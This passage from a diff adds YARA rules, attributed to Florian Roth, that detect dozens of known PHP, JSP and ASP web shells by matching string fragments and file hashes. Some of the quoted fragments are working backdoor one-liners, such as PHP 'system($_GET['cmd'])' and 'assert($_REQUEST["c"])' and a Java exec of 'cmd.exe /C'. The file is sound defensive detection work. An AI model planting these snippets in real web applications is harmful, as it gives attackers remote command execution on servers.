+		$s3 = "echo \"<tr><td class=\\\"silver border\\\">&nbsp;<strong>Server's PHP Version:&n"
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s7 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+	condition:
+		all of them
+}
+rule webshell_Antichat_Shell_v1_3_2 {
+	meta:
+		description = "Web Shell - file Antichat Shell v1.3.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "40d0abceba125868be7f3f990f031521"
+	strings:
+		$s3 = "$header='<html><head><title>'.getenv(\"HTTP_HOST\").' - Antichat Shell</title><m"
+	condition:
+		all of them
+}
+rule webshell_Safe_mode_breaker {
+	meta:
+		description = "Web Shell - file Safe mode breaker.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5bd07ccb1111950a5b47327946bfa194"
+	strings:
+		$s5 = "preg_match(\"/SAFE\\ MODE\\ Restriction\\ in\\ effect\\..*whose\\ uid\\ is("
+		$s6 = "$path =\"{$root}\".((substr($root,-1)!=\"/\") ? \"/\" : NULL)."
+	condition:
+		1 of them
+}
+rule webshell_Sst_Sheller {
+	meta:
+		description = "Web Shell - file Sst-Sheller.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d93c62a0a042252f7531d8632511ca56"
+	strings:
+		$s2 = "echo \"<a href='?page=filemanager&id=fm&fchmod=$dir$file'>"
+		$s3 = "<? unlink($filename); unlink($filename1); unlink($filename2); unlink($filename3)"
+	condition:
+		all of them
+}
+rule webshell_jsp_list {
+	meta:
+		description = "Web Shell - file list.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1ea290ff4259dcaeb680cec992738eda"
+	strings:
+		$s0 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+		$s2 = "out.print(\") <A Style='Color: \" + fcolor.toString() + \";' HRef='?file=\" + fn"
+		$s7 = "if(flist[i].canRead() == true) out.print(\"r\" ); else out.print(\"-\");" fullword
+	condition:
+		all of them
+}
+rule webshell_PHPJackal_v1_5 {
+	meta:
+		description = "Web Shell - file PHPJackal v1.5.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d76dc20a4017191216a0315b7286056f"
+	strings:
+		$s7 = "echo \"<center>${t}MySQL cilent:</td><td bgcolor=\\\"#333333\\\"></td></tr><form"
+		$s8 = "echo \"<center>${t}Wordlist generator:</td><td bgcolor=\\\"#333333\\\"></td></tr"
+	condition:
+		all of them
+}
+rule webshell_customize {
+	meta:
+		description = "Web Shell - file customize.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d55578eccad090f30f5d735b8ec530b1"
+	strings:
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_s72_Shell_v1_1_Coding {
+	meta:
+		description = "Web Shell - file s72 Shell v1.1 Coding.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+	strings:
+		$s5 = "<font face=\"Verdana\" style=\"font-size: 8pt\" color=\"#800080\">Buradan Dosya "
+	condition:
+		all of them
+}
+rule webshell_jsp_sys3 {
+	meta:
+		description = "Web Shell - file sys3.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b3028a854d07674f4d8a9cf2fb6137ec"
+	strings:
+		$s1 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<%@page contentType=\"text/html;charset=gb2312\"%>" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_guige02 {
+	meta:
+		description = "Web Shell - file guige02.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a3b8b2280c56eaab777d633535baf21d"
+	strings:
+		$s0 = "????????????????%><html><head><title>hahahaha</title></head><body bgcolor=\"#fff"
+		$s1 = "<%@page contentType=\"text/html; charset=GBK\" import=\"java.io.*;\"%><%!private"
+	condition:
+		all of them
+}
+rule webshell_php_ghost {
+	meta:
+		description = "Web Shell - file ghost.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "38dc8383da0859dca82cf0c943dbf16d"
+	strings:
+		$s1 = "<?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64'"
+		$s6 = "//<img width=1 height=1 src=\"http://websafe.facaiok.com/just7z/sx.asp?u=***.***"
+		$s7 = "preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'(KmU(\"" fullword
+	condition:
+		all of them
+}
+rule webshell_WinX_Shell {
+	meta:
+		description = "Web Shell - file WinX Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+	strings:
+		$s5 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">Filenam"
+		$s8 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">File: </"
+	condition:
+		all of them
+}
+rule webshell_Crystal_Crystal {
+	meta:
+		description = "Web Shell - file Crystal.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "fdbf54d5bf3264eb1c4bff1fac548879"
+	strings:
+		$s1 = "show opened ports</option></select><input type=\"hidden\" name=\"cmd_txt\" value"
+		$s6 = "\" href=\"?act=tools\"><font color=#CC0000 size=\"3\">Tools</font></a></span></f"
+	condition:
+		all of them
+}
+rule webshell_r57_1_4_0 {
+	meta:
+		description = "Web Shell - file r57.1.4.0.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "574f3303e131242568b0caf3de42f325"
+	strings:
+		$s4 = "@ini_set('error_log',NULL);" fullword
+		$s6 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s7 = "@ini_restore(\"disable_functions\");" fullword
+		$s9 = "@ini_restore(\"safe_mode_exec_dir\");" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_hsxa1 {
+	meta:
+		description = "Web Shell - file hsxa1.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5686d5a38c6f5b8c55095af95c2b0244"
+	strings:
+		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"
+	condition:
+		all of them
+}
+rule webshell_asp_ajn {
+	meta:
+		description = "Web Shell - file ajn.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "aaafafc5d286f0bff827a931f6378d04"
+	strings:
+		$s1 = "seal.write \"Set WshShell = CreateObject(\"\"WScript.Shell\"\")\" & vbcrlf" fullword
+		$s6 = "seal.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreateOve"
+	condition:
+		all of them
+}
+rule webshell_php_cmd {
+	meta:
+		description = "Web Shell - file cmd.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c38ae5ba61fd84f6bbbab98d89d8a346"
+	strings:
+		$s0 = "if($_GET['cmd']) {" fullword
+		$s1 = "// cmd.php = Command Execution" fullword
+		$s7 = "  system($_GET['cmd']);" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_list {
+	meta:
+		description = "Web Shell - file list.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1cfa493a165eb4b43e6d4cc0f2eab575"
+	strings:
+		$s0 = "<INPUT TYPE=\"hidden\" NAME=\"type\" value=\"<%=tipo%>\">" fullword
+		$s4 = "Response.Write(\"<h3>FILE: \" & file & \"</h3>\")" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_co {
+	meta:
+		description = "Web Shell - file co.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "62199f5ac721a0cb9b28f465a513874c"
+	strings:
+		$s0 = "cGX6R9q733WvRRjISKHOp9neT7wa6ZAD8uthmVJV" fullword
+		$s11 = "6Mk36lz/HOkFfoXX87MpPhZzBQH6OaYukNg1OE1j" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_150 {
+	meta:
+		description = "Web Shell - file 150.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "400c4b0bed5c90f048398e1d268ce4dc"
+	strings:
+		$s0 = "HJ3HjqxclkZfp"
+		$s1 = "<? eval(gzinflate(base64_decode('" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_cmdjsp_2 {
+	meta:
+		description = "Web Shell - file cmdjsp.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1b5ae3649f03784e2a5073fa4d160c8b"
+	strings:
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s4 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_c37 {
+	meta:
+		description = "Web Shell - file c37.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d01144c04e7a46870a8dd823eb2fe5c8"
+	strings:
+		$s3 = "array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),"
+		$s9 = "++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE],"
+	condition:
+		all of them
+}
+rule webshell_PHP_b37 {
+	meta:
+		description = "Web Shell - file b37.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0421445303cfd0ec6bc20b3846e30ff0"
+	strings:
+		$s0 = "xmg2/G4MZ7KpNveRaLgOJvBcqa2A8/sKWp9W93NLXpTTUgRc"
+	condition:
+		all of them
+}
+rule webshell_php_backdoor {
+	meta:
+		description = "Web Shell - file php-backdoor.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+	strings:
+		$s1 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))" fullword
+		$s2 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+	condition:
+		all of them
+}
+rule webshell_asp_dabao {
+	meta:
+		description = "Web Shell - file dabao.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3919b959e3fa7e86d52c2b0a91588d5d"
+	strings:
+		$s2 = " Echo \"<input type=button name=Submit onclick=\"\"document.location =&#039;\" &"
+		$s8 = " Echo \"document.Frm_Pack.FileName.value=\"\"\"\"+year+\"\"-\"\"+(month+1)+\"\"-"
+	condition:
+		all of them
+}
+rule webshell_php_2 {
+	meta:
+		description = "Web Shell - file 2.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "267c37c3a285a84f541066fc5b3c1747"
+	strings:
+		$s0 = "<?php assert($_REQUEST[\"c\"]);?> " fullword
+	condition:
+		all of them
+}
+rule webshell_asp_cmdasp {
+	meta:
+		description = "Web Shell - file cmdasp.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "57b51418a799d2d016be546f399c2e9b"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s7 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+	condition:
+		all of them
+}
+rule webshell_spjspshell {
+	meta:
+		description = "Web Shell - file spjspshell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d39d51154aaad4ba89947c459a729971"
+	strings:
+		$s7 = "Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\\winnt\\system32\\cmd.exe /c type c:"
+	condition:
+		all of them
+}
+rule webshell_jsp_action {
+	meta:
+		description = "Web Shell - file action.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5a7d931094f5570aaf5b7b3b06c3d8c0"
+	strings:
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword
+		$s6 = "<%@ page contentType=\"text/html;charset=gb2312\"%>" fullword
+	condition:
+		all of them
+}
+rule webshell_Inderxer {
+	meta:
+		description = "Web Shell - file Inderxer.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+	strings:
+		$s4 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+	condition:
+		all of them
+}
+rule webshell_asp_Rader {
+	meta:
+		description = "Web Shell - file Rader.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+	strings:
+		$s1 = "FONT-WEIGHT: bold; FONT-SIZE: 10px; BACKGROUND: none transparent scroll repeat 0"
+		$s3 = "m\" target=inf onClick=\"window.open('?action=help','inf','width=450,height=400 "
+	condition:
+		all of them
+}
+rule webshell_c99_madnet_smowu {
+	meta:
+		description = "Web Shell - file smowu.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3aaa8cad47055ba53190020311b0fb83"
+	strings:
+		$s0 = "//Authentication" fullword
+		$s1 = "$login = \"" fullword
+		$s2 = "eval(gzinflate(base64_decode('"
+		$s4 = "//Pass"
+		$s5 = "$md5_pass = \""
+		$s6 = "//If no pass then hash"
+	condition:
+		all of them
+}
+rule webshell_php_moon {
+	meta:
+		description = "Web Shell - file moon.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2a2b1b783d3a2fa9a50b1496afa6e356"
+	strings:
+		$s2 = "echo '<option value=\"create function backshell returns string soname"
+		$s3 = "echo      \"<input name='p' type='text' size='27' value='\".dirname(_FILE_).\""
+		$s8 = "echo '<option value=\"select cmdshell(\\'net user "
+	condition:
+		2 of them
+}
+rule webshell_jsp_jdbc {
+	meta:
+		description = "Web Shell - file jdbc.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "23b0e6f91a8f0d93b9c51a2a442119ce"
+	strings:
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_minupload {
+	meta:
+		description = "Web Shell - file minupload.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ec905a1395d176c27f388d202375bdf9"
+	strings:
+		$s0 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">   " fullword
+		$s9 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859"
+	condition:
+		all of them
+}
+rule webshell_ELMALISEKER_Backd00r {
+	meta:
+		description = "Web Shell - file ELMALISEKER Backd00r.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3aa403e0a42badb2c23d4a54ef43e2f4"
+	strings:
+		$s0 = "response.write(\"<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOptio"
+		$s2 = "if FP = \"RefreshFolder\" or request.form(\"cmdOption\")=\"DeleteFolder\" or req"
+	condition:
+		all of them
+}
+rule webshell_PHP_bug_1_ {
+	meta:
+		description = "Web Shell - file bug (1).php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "91c5fae02ab16d51fc5af9354ac2f015"
+	strings:
+		$s0 = "@include($_GET['bug']);" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_hkmjj {
+	meta:
+		description = "Web Shell - file hkmjj.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e7b994fe9f878154ca18b7cde91ad2d0"
+	strings:
+		$s6 = "codeds=\"Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li\"  " fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_asd {
+	meta:
+		description = "Web Shell - file asd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a042c2ca64176410236fcc97484ec599"
+	strings:
+		$s3 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>" fullword
+		$s6 = "<input size=\"100\" value=\"<%=application.getRealPath(\"/\") %>\" name=\"url"
+	condition:
+		all of them
+}
+rule webshell_jsp_inback3 {
+	meta:
+		description = "Web Shell - file inback3.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ea5612492780a26b8aa7e5cedd9b8f4e"
+	strings:
+		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"
+	condition:
+		all of them
+}
+rule webshell_metaslsoft {
+	meta:
+		description = "Web Shell - file metaslsoft.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "aa328ed1476f4a10c0bcc2dde4461789"
+	strings:
+		$s7 = "$buff .= \"<tr><td><a href=\\\"?d=\".$pwd.\"\\\">[ $folder ]</a></td><td>LINK</t"
+	condition:
+		all of them
+}
+rule webshell_asp_Ajan {
+	meta:
+		description = "Web Shell - file Ajan.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b6f468252407efc2318639da22b08af0"
+	strings:
+		$s3 = "entrika.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreate"
+	condition:
+		all of them
+}
+rule webshell_config_myxx_zend {
+	meta:
+		description = "Web Shell - from files config.jsp, myxx.jsp, zend.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash1 = "e0354099bee243702eb11df8d0e046df"
+		hash2 = "591ca89a25f06cf01e4345f98a22845c"
+	strings:
+		$s3 = ".println(\"<a href=\\\"javascript:alert('You Are In File Now ! Can Not Pack !');"
+	condition:
+		all of them
+}
+rule webshell_browser_201_3_ma_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s2 = "<small>jsp File Browser version <%= VERSION_NR%> by <a"
+		$s3 = "else if (fName.endsWith(\".mpg\") || fName.endsWith(\".mpeg\") || fName.endsWith"
+	condition:
+		all of them
+}
+rule webshell_itsec_itsecteam_shell_jHn {
+	meta:
+		description = "Web Shell - from files itsec.php, itsecteam_shell.php, jHn.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash2 = "40c6ecf77253e805ace85f119fe1cebb"
+	strings:
+		$s4 = "echo $head.\"<font face='Tahoma' size='2'>Operating System : \".php_uname().\"<b"
+		$s5 = "echo \"<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'"
+	condition:
+		all of them
+}
+rule webshell_ghost_source_icesword_silic {
+	meta:
+		description = "Web Shell - from files ghost_source.php, icesword.php, silic.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "cbf64a56306c1b5d98898468fc1fdbd8"
+		hash1 = "6e20b41c040efb453d57780025a292ae"
+		hash2 = "437d30c94f8eef92dc2f064de4998695"
+	strings:
+		$s3 = "if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $"
+		$s6 = "if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST["
+	condition:
+		all of them
+}
+rule webshell_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_spy2009_m_ma3_xxx {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, 807.jsp, a.jsp, c5.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, nogfw.jsp, ok.jsp, queryDong.jsp, spyjsp2010.jsp, style.jsp, t00ls.jsp, u.jsp, xia.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash6 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash7 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash8 = "d71716df5042880ef84427acee8b121e"
+		hash9 = "341298482cf90febebb8616426080d1d"
+		hash10 = "29aebe333d6332f0ebc2258def94d57e"
+		hash11 = "42654af68e5d4ea217e6ece5389eb302"
+		hash12 = "88fc87e7c58249a398efd5ceae636073"
+		hash13 = "4a812678308475c64132a9b56254edbc"
+		hash14 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash15 = "344f9073576a066142b2023629539ebd"
+		hash16 = "32dea47d9c13f9000c4c807561341bee"
+		hash17 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash18 = "655722eaa6c646437c8ae93daac46ae0"
+		hash19 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash20 = "9c94637f76e68487fa33f7b0030dd932"
+		hash21 = "6acc82544be056580c3a1caaa4999956"
+		hash22 = "6aa32a6392840e161a018f3907a86968"
+		hash23 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash24 = "3ea688e3439a1f56b16694667938316d"
+		hash25 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash26 = "71097537a91fac6b01f46f66ee2d7749"
+		hash27 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash28 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s8 = "\"<form action=\\\"\"+SHELL_NAME+\"?o=upload\\\" method=\\\"POST\\\" enctype="
+		$s9 = "<option value='reg query \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\T"
+	condition:
+		all of them
+}
+rule webshell_2_520_job_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash4 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash5 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+	strings:
+		$s4 = "_url = \"jdbc:microsoft:sqlserver://\" + dbServer + \":\" + dbPort + \";User=\" "
+		$s9 = "result += \"<meta http-equiv=\\\"refresh\\\" content=\\\"2;url=\" + request.getR"
+	condition:
+		all of them
+}
+rule webshell_000_403_807_a_c5_config_css_dm_he1p_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_xxx {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, 807.jsp, a.jsp, c5.jsp, config.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, myxx.jsp, nogfw.jsp, ok.jsp, queryDong.jsp, spyjsp2010.jsp, style.jsp, t00ls.jsp, u.jsp, xia.jsp, zend.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "9c94637f76e68487fa33f7b0030dd932"
+		hash23 = "6acc82544be056580c3a1caaa4999956"
+		hash24 = "6aa32a6392840e161a018f3907a86968"
+		hash25 = "591ca89a25f06cf01e4345f98a22845c"
+		hash26 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash27 = "3ea688e3439a1f56b16694667938316d"
+		hash28 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash29 = "71097537a91fac6b01f46f66ee2d7749"
+		hash30 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash31 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s0 = "ports = \"21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500\";" fullword
+		$s1 = "private static class VEditPropertyInvoker extends DefaultInvoker {" fullword
+	condition:
+		all of them
+}
+rule webshell_wso2_5_1_wso2_5_wso2 {
+	meta:
+		description = "Web Shell - from files wso2.5.1.php, wso2.5.php, wso2.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "dbeecd555a2ef80615f0894027ad75dc"
+		hash1 = "7c8e5d31aad28eb1f0a9a53145551e05"
+		hash2 = "cbc44fb78220958f81b739b493024688"
+	strings:
+		$s7 = "$opt_charsets .= '<option value=\"'.$item.'\" '.($_POST['charset']==$item?'selec"
+		$s8 = ".'</td><td><a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode($f['na"
+	condition:
+		all of them
+}
+rule webshell_000_403_c5_queryDong_spyjsp2010_t00ls {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp, t00ls.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
+		hash5 = "9c94637f76e68487fa33f7b0030dd932"
+	strings:
+		$s8 = "table.append(\"<td nowrap> <a href=\\\"#\\\" onclick=\\\"view('\"+tbName+\"')"
+		$s9 = "\"<p><input type=\\\"hidden\\\" name=\\\"selectDb\\\" value=\\\"\"+selectDb+\""
+	condition:
+		all of them
+}
+rule webshell_404_data_suiyue {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, suiyue.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+	strings:
+		$s3 = " sbCopy.append(\"<input type=button name=goback value=' \"+strBack[languageNo]+"
+	condition:
+		all of them
+}
+rule webshell_r57shell_r57shell127_SnIpEr_SA_Shell_EgY_SpIdEr_ShElL_V2_r57_xxx {
+	meta:
+		description = "Web Shell - from files r57shell.php, r57shell127.php, SnIpEr_SA Shell.php, EgY_SpIdEr ShElL V2.php, r57_iFX.php, r57_kartal.php, r57_Mohajer22.php, r57.php, r57.php, Backdoor.PHP.Agent.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ef43fef943e9df90ddb6257950b3538f"
+		hash1 = "ae025c886fbe7f9ed159f49593674832"
+		hash2 = "911195a9b7c010f61b66439d9048f400"
+		hash3 = "697dae78c040150daff7db751fc0c03c"
+		hash4 = "513b7be8bd0595c377283a7c87b44b2e"
